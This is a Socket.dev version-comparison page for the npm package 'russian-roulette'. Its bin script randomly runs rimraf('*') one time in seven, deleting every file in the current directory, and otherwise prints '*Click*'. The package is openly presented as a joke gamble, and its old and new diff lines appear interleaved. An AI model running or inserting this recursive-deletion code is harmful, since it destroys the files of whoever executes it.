Huge News!Announcing our $40M Series B led by Abstract Ventures.Learn More
Socket
Sign inDemoInstall
Socket

russian-roulette

Package Overview
Dependencies
Maintainers
1
Versions
4
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install

russian-roulette - npm Package Compare versions

Comparing version 1.0.0 to 2.0.0

26

bin/russian-roulette.js
#! /usr/bin/env node
var random = Math.floor(Math.random() * 7);
const { promisify } = require("util");
const rimraf = require("rimraf");
if (random === 0) {
var rimraf = require('rimraf');
rimraf('*', function() {
console.log('*BANG*');
const rimrafAsync = promisify(rimraf);
async function main() {
const random = Math.floor(Math.random() * 7);
if (random === 0) {
await rimrafAsync("*");
console.log("*BANG*");
} else {
console.log("*Click*");
}
}
if (require.main === module) {
main().catch(error => {
console.error(error);
process.exit(1);
});
} else {
console.log('*Click*');
}

@@ -6,3 +6,3 @@ {

"name": "russian-roulette",
"version": "1.0.0",
"version": "2.0.0",
"description": "Russian roulette on your command line",

@@ -13,2 +13,5 @@ "repository": {

},
"engines": {
"node": ">8"
},
"keywords": [

@@ -25,4 +28,4 @@ "russian",

"dependencies": {
"rimraf": "^2.5.2"
"rimraf": "^3.0.0"
}
}
SocketSocket SOC 2 Logo

Product

  • Package Alerts
  • Integrations
  • Docs
  • Pricing
  • FAQ
  • Roadmap
  • Changelog

Packages

npm

Stay in touch

Get open source security insights delivered straight into your inbox.


  • Terms
  • Privacy
  • Security

Made with ⚡️ by Socket Inc